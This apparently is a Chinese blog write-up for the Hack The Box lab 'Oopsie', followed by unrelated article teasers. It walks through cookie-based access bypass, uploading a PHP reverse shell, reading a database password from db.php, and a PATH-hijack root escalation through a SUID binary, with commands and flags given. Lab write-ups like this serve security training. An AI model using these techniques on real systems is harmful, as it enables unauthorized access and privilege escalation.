HTB:Oopsie[WriteUP]
目录
连接至HTB服务器并开启靶机
1.With what kind of tool can intercept web traffic?
2.What is the path to the directory on the webserver that returns a login page?
3.What can be modified in Firefox to get access to the upload page?
4.What is the access ID of the admin user?
5.On uploading a file, what directory does that file appear in on the server?
USER_FLAG:f2c74ee8db7983851ab2a96a44eb7981
7.What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
8.Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
9.What SUID stands for?
10.What is the name of the executable being called in an insecure manner?
ROOT_FLAG:af13b0bee69f8a877c3faf667f7beacf
连接至HTB服务器并开启靶机
靶机IP:10.129.215.110
分配IP:10.10.16.32
1.With what kind of tool can intercept web traffic?
这题答案是代理:proxy
考虑到Kali对靶机进行渗透更方便,可选用的流量劫持工具有BurpSuite、Yakit
2.What is the path to the directory on the webserver that returns a login page?
使用fscan对靶机进行端口扫描:
./fscan -nopoc -nobr -np -h {TARGET_IP}
可见开启了 22、80 共2个端口,且80端口存在响应200的可访问Web网页
再使用nmap对这两个端口进行服务单独扫描:
nmap -sC -sV -p 22,80 {TARGET_IP}
使用浏览器打开靶机Web页面:http://10.129.215.110
再使用 FindSomething 插件找到有泄露登录的路径:/cdn-cgi/login
3.What can be modified in Firefox to get access to the upload page?
进入登录界面:http://10.129.215.110/cdn-cgi/login 点击左下角的以访客身份登录
以访客身份登入后,点击左上角的 Account
观察到URL后面的id参数值为:2 ,并且guest的Access ID值为:2233
尝试将id值修改为:1 ,我们就获得了admin的Access ID值为:34322
这里使用Yakit,点击手动劫持开始流量劫持:
点击Uploads按钮,成功劫持到请求包,修改 cookie 中的值:
user修改为:34322 ,role修改为:admin
修改完成后,点击右上角的 提交数据 进行发包:
成功进入文件上传界面:
4.What is the access ID of the admin user?
从上文可知,通过修改cookie中的值可以访问仅管理员可访问的文件上传页面
其中user值很明显对应的是Access ID,而admin用户的Access ID:34322
5.On uploading a file, what directory does that file appear in on the server?
使用 Wappalyzer 识别该页面技术栈:
可见该页面所用脚本语言为:PHP ,接下来我们上传Kali自带的Webshell
路径:/usr/share/webshells/php/php-reverse-shell.php
我们修改该Webshell中的IP、PORT两个数据:
点击Browse选择php-reverse-shell.php,并点击Upload后抓包,同样需要对cookie的值进行修改:
上传成功后接下来需要对靶机进行目录扫描找到文件上传路径,我这里使用dirsearch:
dirsearch -u http://{TARGET_IP} -e php
这里扫到了 /uploads 目录,使用nc持续监听后访问目标URL成功getshell:
http://{TARGET_IP}/uploads/php-reverse-shell.php
6.What is the file that contains the password that is shared with the robert user?
使用python中的pty模块模拟伪终端tty以获取交互shell:
执行命令:
python3 -c 'import pty;pty.spawn("/bin/bash")'
查找所有.php后缀文件,看是否存在敏感信息泄露:
find / -type f -name *.php 2>/dev/null
可以看到php文件大多集中于 /var/www/html/cdn-cgi/login/ 目录下
进入目录后查看所有内容以寻找密码:
cd /var/www/html/cdn-cgi/login; cat * | grep -i robert
用户名:robert
密码:M3g4C0rpUs3r!
再通过grep命令查询这些字符串属于哪个文件:
grep -rl M3g4C0rpUs3r!
可以看到以上信息属于 db.php 文件内容
使用已获得的账户和密码对robert进行登录:
su robert
在/home/robert目录下找到了user.txt文件
USER_FLAG:f2c74ee8db7983851ab2a96a44eb7981
7.What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
使用 find 命令查询属于bugtracker组的所有文件:
find / -group bugtracker 2>/dev/null
回显为:/usr/bin/bugtracker ,进一步查看该文件信息以及权限:
ls -l /usr/bin/bugtracker; file /usr/bin/bugtracker
8.Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
可见bugtracker文件设置了一个setuid集合并且文件所有者为root
在 Linux 和类 Unix 系统中,setuid(Set User ID)是一种特殊权限标志。当可执行文件被设置 setuid 权限后,执行时会以文件所有者身份而非执行用户身份运行。它主要用于实现特定系统管理任务,如普通用户通过设置了 setuid 权限的程序(如修改密码的程序)以高权限执行特定操作,同时也可提供受限的特权访问
9.What SUID stands for?
SUIB全称为:Set owner User ID
10.What is the name of the executable being called in an insecure manner?
我们直接运行bugtracker文件:
cd /usr/bin; ./bugtracker
- 可见,该文件运行后会执行命令:cat /root/reports/FILE
- 此时若将shell命名为 'cat' 加进PATH中,因为查找优先级比 cat 高所以优先执行
- 因此将以不安全的方式调用 cat ,实则通过运行bugtracker文件即可实现root提权
进入根目录下的/tmp文件夹中:
cd /tmp
编写shell启动器并保存到'cat'文件中:
echo '/bin/sh' > cat
为'cat'文件赋执行权限:
chmod +x cat
将/tmp路径加入PATH环境变量头部以此提升'cat'文件查找优先权:
export PATH=/tmp:$PATH
通过命令查看PATH环境变量,查看/tmp目录是否成功添加:
echo $PATH
回到 /usr/bin/ 目录下,运行bugtracker文件:
cd /usr/bin; ./bugtracker
进入/root目录,找到root.txt文件,使用more、head、tail命令查看文件内容:
cd /root; ls
ROOT_FLAG:af13b0bee69f8a877c3faf667f7beacf
相关文章:
HTB:Oopsie[WriteUP]
目录 连接至HTB服务器并开启靶机 1.With what kind of tool can intercept web traffic? 2.What is the path to the directory on the webserver that returns a login page? 3.What can be modified in Firefox to get access to the upload page? 4.What is the acc…...
【JAVA高级】如何使用Redis加锁和解锁(一)、Lua脚本执行原理及流程
文章目录 加锁方法一:使用SETNX命令结合EXPIRE命令方法二:使用SET命令的扩展参数(NX和PX)方法三:使用Lua脚本 解锁方法一:简单删除key方法二:使用Lua脚本验证后删除key Lua脚本的执行原理&#…...
2024年使用宝塔面板轻松部署Java Web
以下是2024年最新图形化部署Java Web项目到CentOS系统的手把手教程: 一、准备工作 确保服务器环境:确保你的服务器已经安装了CentOS 7操作系统,并且已经安装了宝塔面板。如果还没有安装,可以参考之前的教程进行安装。下载Java W…...
闯关训练一:Linux基础
闯关任务:完成SSH连接与端口映射并运行hello_world.py 1.创建开发机 2.SSH连接 3. VS-Code 连接 选择 Linux 平台 ,输入密码 ,选择进入文件夹 4.端口映射 按照下文安装Docs pip install gradio 运行server.py import gradio as grdef …...
鸿蒙NEXT开发-ArkTS(基于最新api12稳定版)
注意:博主有个鸿蒙专栏,里面从上到下有关于鸿蒙next的教学文档,大家感兴趣可以学习下 如果大家觉得博主文章写的好的话,可以点下关注,博主会一直更新鸿蒙next相关知识 专栏地址: https://blog.csdn.net/qq_56760790/…...
laravel延迟队列 取消未支付超时订单订单
1:生成待支付订单时,调用延迟队列 超过十五分钟未支付自动取消 use App\Jobs\endTask; use Illuminate\Support\Carbon; $resPost1 array("act" > "cy_order_cancel", "id" > $id); endTask::dispatch($resPos…...
解锁高效开发的秘密武器
在当今这个信息爆炸、技术日新月异的时代,编程工具的选择对于开发者来说至关重要。一个好的编程工具不仅能够简化代码编写,还能自动化任务、提升调试速度,甚至让团队协作更加顺畅。那么,哪款编程工具能让你的工作效率翻倍呢&#…...
【CSS】兼容处理
兼容前缀兼容查询 由于不同浏览器对CSS标准的支持程度不同,可能会导致在不同浏览器中出现样式差异。为了解决这个问题,需要采取一些措施来提高CSS的兼容性 兼容前缀 兼容前缀针对的浏览器-webkit-WebKit 内核浏览器,如:Safari 、…...
C语言线程
线程 多个进程中通过轮流使用CPU来完成自己的任务,如果多个进程的操作都一模一样那么CPU的开销就会很大,因为进程的地址都是私有的,如果CPU对相同的操作只执行一次,后面再遇到直接去获取即可,这样大大降低了CPU的开销…...
自闭症寄宿学校 vs. 日常教育:为孩子提供更多可能
在探索自闭症儿童的教育路径时,家长们往往面临一个重大的选择:是选择传统的日常教育环境,还是寻找专为自闭症儿童设计的寄宿学校?广州的星贝育园自闭症儿童寄宿制学校,以其独特的教育模式和全方位的关怀体系࿰…...
RxSwift系列(二)操作符
一、变换操作符:buffer、map、compactMap等 1.buffer buffer方法作用是缓冲组合,第一个参数是缓冲时间,第二个参数是缓冲个数,第三个参数是线程。缓存 Observable 中发出的新元素,当元素达到某个数量,或者…...
Gin框架简易搭建(3)--Grom与数据库
写在前面 项目地址 个人认为GORM 指南这个网站是相比较之下最为清晰的框架介绍 但是它在环境搭建阶段对于初学者而言不是很友好,尤其是使用mysql指令稍有不同,以及更新的方法和依赖问题都是很让人头疼的,而且这些报错并非逻辑上的…...
JavaScript模块化-CommonJS规范和ESM规范
1 ES6模块化 1.1 ES6基本介绍 ES6 模块是 ECMAScript 2015(ES6)引入的标准模块系统,广泛应用于浏览器环境下的前端开发。Node.js环境主要使用CommonJS规范。ESM使用import和export来实现模块化开发从而解决了以下问题: 全局作用…...
解决银河麒麟V10中的apt Lock异常
解决银河麒麟V10中的apt Lock异常 一、查找并杀掉apt进程二、删除锁文件三、重新尝试apt命令 💖The Begin💖点点关注,收藏不迷路💖 在使用银河麒麟V10的apt命令时,如果遇到lock异常,可以按以下步骤解决&…...
windows11环境安装lua及luarocks(踩坑篇)
一、lua安装及下载 官方地址: Lua Binaries Download 从这里就有坑了,下载后先解压win64_bin.zip,之后解压lib,用lib中的文件替换win64的,并把include文件夹复制过去,之后复制并重命名lua54,方…...
Glide基本用法及With方法源码解析
文章目录 引入优点 使用步骤导入依赖权限使用 其他用法占位符错误图片后备回调符圆角过渡动画大小调整gif缩略图 使用RequestOptions缓存机制设置缓存策略清理缓存 使用集成库OkHttpVolley with源码解析getRetrieverGlide.getinitializeGlide getRequestManagerRetriever Reque…...
html中的文本标签(含标签的实现案例)
目录 1.标题标签 2.标题标签的align属性 3.段落标签 4.水平线标签hr 5.换行标签br 6.文本样式标签font 编辑7.文本格式化标签 8.文本语义标签 1)时间time标签 2)文本高亮Mark标签 3)cite标签 9.特殊字符标签 10.图像标签img 附录ÿ…...
通信协议感悟
本文结合个人所学,简要讲述SPI,I2C,UART通信的特点,限制。 1.同步通信 UART,SPI,I2C三种串行通讯方式,SPI功能引脚为CS,CLK,MOSI,MISO;I2C功能引…...
IDEA几大常用AI插件
文章目录 前言列表GPT中文版TalkXBito AIIDEA自带的AI 前言 最近AI、GPT特别火,IDEA里面又有一堆插件支持GPT,所以做个专题比较一下各个GPT插件 列表 先看idea的plugins里支持哪些,搜索“GPT”之后得到的,我用下来感觉第一第二和…...
51单片机学习第六课---B站UP主江协科技
DS18B20 1、基本知识讲解 2、DS18B20读取温度值 main.c #include<regx52.h> #include"delay.h" #include"LCD1602.h" #include"key.h" #include"DS18B20.h"float T; void main () {LCD_Init();LCD_ShowString(1,1,"temp…...
sadTalker本地编译
SadTalker一款开源的可生成逼真的人像动画的工具。它利用深度学习技术,根据输入的图像和音频,生成具有生动表情和动作的视频。用户可以通过上传照片或使用预设的模型,轻松创建个性化的动画内容. 以上是官网的图, 下边是本地部署生成的,效果差…...
强化学习核心概念与公式总结
强化学习核心概念与公式总结 1. 核心概念 1.1 智能体(Agent)和环境(Environment) 智能体:学习和做决策的实体环境:智能体交互的外部系统1.2 状态(State) 描述环境在特定时刻的情况1.3 动作(Action) 智能体可以执行的操作1.4 奖励(Reward) 环境对智能体动作的即时反馈1.5 策…...
基础算法--双指针【概念+图解+题解+解释】
更多精彩内容..... 🎉❤️播主の主页✨😘 Stark、-CSDN博客 本文所在专栏: 数据结构与算法_Stark、的博客-CSDN博客 其它专栏: 学习专栏C语言_Stark、的博客-CSDN博客 项目实战C系列_Stark、的博客-CSDN博客 座右铭&a…...
国产化系统/鸿蒙开发足浴店收银源码-收缩左侧———未来之窗行业应用跨平台架构
一、左侧展开后 二、代码 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head><title></title><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><style t…...
如何从硬盘恢复丢失/删除的视频
您是否想知道是否可以恢复已删除的视频? 幸运的是,您可以使用奇客数据恢复从硬盘驱动器、SD 卡和 USB 闪存驱动器恢复已删除的视频文件。 你有没有遇到过这样的情况:当你随机删除文件以释放空间时,你不小心按下了一些重要视频的…...
《Effective C++》第三版——设计与声明(1)
参考资料: 《Effective C》第三版 注意:《Effective C》不涉及任何 C11 的内容,因此其中的部分准则可能在 C11 出现后有更好的实现方式。 条款 18:让接口容易被正确使用,不易被误用 好的接口很容易被正确使用&…...
数值计算的程序设计问题举例
### 数值计算的程序设计问题 #### 1. 结构静力分析计算 **涉及领域**:工程力学、建筑工程 **主要问题**:线性代数方程组(Linear Algebraic Equations) **解释说明**: 在结构静力分析中,我们需要解决复杂的…...
Java之方法的使用
修饰符 返回值 方法名称(形式参数){ } 当无参数的时候形式参数中什么都不写。 列如求两个数相加 修饰符可有可无。 方法重载: 1.方法名相同 2.参数列表不同 3。返回值不影响重载...
sudo 命令:掌握系统权限控制,实现安全高效管理
一、命令简介 sudo 命令允许系统管理员授权普通用户执行特定命令,并以管理员身份运行这些命令,通常需要输入用户自己的密码。 sudo 全称是"substitute user do",意为“替用户做”,也就是“以另一个用户的身…...
AndroidStudio导入so文件
点击app 右键依次选择New-Floder-JNI Floder 创建jni目录 将需要的so文件拷贝到jni目录 在app目录下,build.gradle文件的android{}中添加: sourceSets {main{jniLibs.srcDirs [src/main/jni]}}点击一下Sync Project with Gradle Files 然后编译生成AP…...
网站发布系统/1小时快速搭建网站
7.OSPF协议工作过程 OSPF路由协议针对每一个区域分别运行一套独立的计算法则,对于ABR来说, 由于一个区域边界路由器同时与几个区域相联,因此一个区域边界路由器上会同时运行几套OSPF计算方法, 每一个方法针对一个OSPF区域。下面对…...
海盐网站建设/怎么有自己的网站
软件简介 Soft Introduction华旭HX-FDX3S读卡器SDK资源包,压缩包内有读卡器的驱动以及华旭验证软件7.5.3二代证驱动(支持32位、64位)2014版,调用示例及设备动态库。USB3.0通讯接口使用提示当您购买支持USB3.0的新的PC机时,在使用华旭第二代身份证阅读器产…...
wordpress登录去不了后台/网络服务器价格
这篇文章的原始URL是:http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html 主要说的是多线程下,如何确保Lazy初使化的对象的完整性与正确性,并例举了可行与不可行的几种情况,这也是我们在编写多线程应用的…...
汕头网站建设公司有哪些/做网站的步骤
⭐️这篇博客是对上一篇博客中进行扩展,我们应该知道,位图的效率确实很高,但是有一个致命的缺点——只能对整形数据进行处理。今天要介绍的布隆过滤器就是来解决这个缺点的,看完下面的内容,相信你会了解这个数据结构。…...
wordpress 分享 点赞/天津百度推广排名
1:简述Servlet的生命周期,分析Servlet与CGI的区别。Servlet的生命周期分为5个阶段:实例化:Servlet容器创建Servlet类的实例。初始化:该容器调用init()方法,通常会申请资源。服务:由容器调用service()方法&a…...
西安学校网站建设哪家好/软文营销文章案例
1.函数基本语法及特性 什么是函数? 函数这个名词源于数学,是由莱布尼兹在1694年开始使用的。而我们这里讲的函数与数学中的函数区别还是很大的,这里我们就不多加赘述了。 定义: 函数是指一段在一起的、可以做某一件事儿的程序。也…...